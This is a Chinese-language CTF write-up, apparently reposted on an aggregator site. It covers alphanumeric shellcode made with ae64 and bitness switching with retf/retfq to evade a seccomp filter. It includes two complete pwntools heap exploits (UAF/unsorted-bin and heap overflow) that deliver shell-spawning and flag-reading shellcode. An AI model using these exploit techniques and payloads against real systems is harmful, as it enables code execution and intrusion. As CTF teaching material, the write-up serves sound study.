ASCII码-shellcode的技巧

这篇具有很好参考价值的文章主要介绍了ASCII码-shellcode的技巧。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧

https://github.com/TaQini/alpha3

https://github.com/veritas501/ae64.git

https://github.com/rcx/shellcode_encoder

结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题

程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符

接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞

在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0

而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode

剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制

这里使用ae64这个工具

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可

from ae64 import AE64
from pwn import *
context.arch='amd64'
​
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
​
# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()
​

接着使用ae64的库直接修改为ASCII码shellcode

from pwn import *
from ae64 import AE64
​
context.arch = 'amd64'
​
​
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)
​

这里rdx即为shellcode执行的时候call的寄存器

然后就可以生成shellcode了

紧接着拿这段生成的shellcode就可以绕过了

exp

from pwn import *
​
sh = process("./pwn")
context(arch='amd64')
​
​
def add(size):
    sh.recvuntil(" choice:")
    sh.sendline("1")
    sh.recvuntil(" message?")
    sh.sendline(str(size))
​
def delete(index):
    sh.recvuntil(" choice:")
    sh.sendline("2")
    sh.recvuntil("o be deleted?")
    sh.sendline(str(index))
​
def edit(index,content):
    sh.recvuntil(" choice:")
    sh.sendline("3")
    sh.recvuntil(" be modified?")
    sh.sendline(str(index))
    sh.recvuntil("t of the message?")
    sh.sendline(content)
​
def show(index):
    sh.recvuntil(" choice:")
    sh.sendline("4")
    sh.recvuntil(" to be showed?")
    sh.sendline(str(index))
​
def exp():
    sh.recvuntil(" choice:")
    sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()
​
​
sh.interactive()

机器切换-shellcode

有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。

CS寄存器则是用于标记机器位数的关键寄存器

  • CS=0x33,64位

  • CS=0x23,32位

那么如何修改CS寄存器的值,则需要通过retfq与retf的指令

  • refq,从64位切换到32位

    • push 0x23; #32位的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retfq; #从32位切换到64位
  • ref,从32位切换至64位

    • push 0x33; #64的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retf; #从64位切换到32位

再以一道题目作为例子,保护如下,还是没有开启NX保护

题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。

这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。

题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小

但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。

并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。

紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。

查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。

可以看到fstat函数的64位的系统调用号为5

但是32位下的系统调用号5为open函数

那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。

这里需要注意两个点

(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址

(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了

exp

from pwn import *
​
#sh = process("./pwn")
​
elf = ELF("pwn")
​
def user(name,desc):
    sh.recvuntil("choice:")
    sh.sendline("0")
    sh.recvuntil(" name?")      
    sh.send(name)
    sh.recvuntil("desc?")
    sh.send(desc)
​
def add(size):
    sh.recvuntil("choice:")
    sh.sendline("1")
    sh.recvuntil(" message?")
    sh.send(str(size))
​
def delete(index):
    sh.recvuntil("choice:")
    sh.sendline("2")
    sh.recvuntil(" be deleted?")
    sh.send(str(index))
​
def edit(index, offset, content):
    sh.recvuntil("choice:")
    sh.sendline("3")
    sh.recvuntil("ssage to be modified?")
    sh.send(str(index))
    sh.recvuntil("message to be modified?")
    sh.send(str(offset))
    sh.recvuntil("ent of the message?")
    sh.send(content)
​
while(1):
    try:
        sh = process("./pwn")
        add(0) #0
        add(0) #1
        add(0x60)
        for i in range(8):
            add(0x71)
        delete(1)
        payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
        edit(0,0,payload)
        add(9)
        delete(2)
        delete(3)
        delete(4)
        delete(5)
        user('a'*0x10+p64(0)+p64(0x71),'b')
        target = 0x6020f0 
        payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
        edit(0,0,payload)
        add(0x60)#2
        sh.recvuntil("Ptr: ")
        addr = int("0x"+sh.recv(6),16)
        log.info("addr:"+hex(addr))
        add(0x60)#3
        edit(3,0,p64(elf.got['free']))
        payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
        payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
        payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
        payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
        payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
        edit(2,0,payload)
        edit(0,0,p64(addr))
        #attach(sh,'b*'+str(addr))
        delete(6)
        sh.interactive()
    except:
        continue

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-663678.html

到了这里,关于ASCII码-shellcode的技巧的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Apifox:成熟的测试工具要学会自己写接口文档

    好家伙, 在开发过程中,我们总是避免不了进行接口的测试, 而相比手动敲测试代码,使用测试工具进行测试更为便捷,高效 今天发现了一个非常好用的接口测试工具Apifox 相比于Postman,他还拥有一个非常nb的功能, 在接口的测试完成后,它可以一键生成接口文档 下载地址

    2024年02月10日
    浏览(47)
  • 技巧:jetbrain全家桶系列如何撤销已经提交本地仓库但还没push的commit

    按快捷键 alt+9 打开git窗口 可以看到刚误提交的commit,还好还没push到远程库,还有的救 右键选中前一个commit,选reset 可以看到有4种选择,其中 Soft 和 Mixed 都可以在撤销commit的前提下还会留下文件的修改 但是, Hard 和 Keep ,会撤销commit,但是会把所有文件的修改都去掉,辛辛

    2024年02月05日
    浏览(66)
  • 【SQL开发实战技巧】系列(五):从执行计划看IN、EXISTS 和 INNER JOIN效率,我们要分场景不要死记网上结论

    【SQL开发实战技巧】系列(一):关于SQL不得不说的那些事 【SQL开发实战技巧】系列(二):简单单表查询 【SQL开发实战技巧】系列(三):SQL排序的那些事 【SQL开发实战技巧】系列(四):从执行计划讨论UNION ALL与空字符串UNION与OR的使用注意事项 【SQL开发实战技巧】系列

    2023年04月09日
    浏览(40)
  • Playwright已经是目前最好的测试自动化工具了吗?

    作者观点 :很长时间以来,Selenium是QA工程师寻求测试自动化解决方案的首选测试框架。它能够测试任何浏览器(这在IE浏览器的统治时期尤其重要)和任何平台。然而,现在看来,那个时代已经过去了。 今天,大多数web应用程序都是用现代前端框架开发的,如React、Angular或

    2024年02月08日
    浏览(51)
  • 如何使用内网穿透工具,将Tomcat网页发布到公共互联网上

    Tomcat作为一个轻量级的服务器,不仅名字很有趣(让人想起童年),也拥有强大功能,由于其可以实现JavaWeb程序的装载,就成为配置JSP和Java系统必备的环境软件,也是开发调试JSP程序的首选。Tomcat运行稳定且开源免费,加上apache和Sun的加持即免费和开源的特性,使其广泛应

    2024年02月06日
    浏览(43)
  • UniApp已经接了手机数据线,但运行工具警告 “没有检查到设备“ (华为手机为例 进行解决)

    大部分第一次使用uni进行手机调试都会遇到这个问题 首先 将手机的数据线插入电脑的usb接口是必备前提 然后 就是手机的权限拦截了设备扫描 这就是uni工具找不到设备的原因 接入手机线后 数据会弹出一个USB的提示 点进去之后 我们要设置 允许传输文件 千万别仅充电 接下来

    2024年02月09日
    浏览(77)
  • 中文编程开发语言工具系统化教程零基础入门篇和初级1专辑课程已经上线,可以进入轻松学编程

    中文编程开发语言工具系统化教程零基础入门篇和初级1专辑课程已经上线,可以进入轻松学编程 学习编程捷径:(不论是正在学习编程的大学生,还是IT人士或者是编程爱好者,在学习编程的过程中用正确的学习方法 可以达到事半功倍的效果。对于初学者,可以通过下面的

    2024年02月08日
    浏览(78)
  • IDEA开发工具技巧

    idea插件下载地址:https://plugins.jetbrains.com/ 开发必装插件: (1) 快速查找api接口 RestfulTool 插件 ,推荐指数⭐⭐⭐⭐⭐ (2)阿里的代码代码规范检查工具 Alibaba Java Coding Guidelines (3)SonarLint 代码规范检查工具 (4)maven Helper插件 (5)lombok插件 (6) 比IDEA自带热部署好用很

    2024年02月07日
    浏览(150)
  • PostMan工具常见使用技巧

    Postman 快速修改参数调试 前后端联调出现问题,后端自测,常用postman进行调试,快速复制参数 1、复制接口 F12: 找到要复制的接口 == 右键 Copy == Copy as cURL(bash) 2、PostMan 中导入 import == Raw text ==粘贴到里面 注意事项:如果需要修改参数值,在这里可以修改参数,比如ip、添加参数

    2024年02月07日
    浏览(61)
  • 测试工具篇:postman技巧

    在日常开发中我们经常以两种情景: 因为接口部署在不同的环境(一般至少是三个,开发,测试和线上),所以我们在测试接口时需要来回切换它的url,或是同样的接口要分成至少三份 有些b端项目中对于 token 的时效性要求比较苛刻,我现在做的这个项目token的有效时间只有

    2024年02月19日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包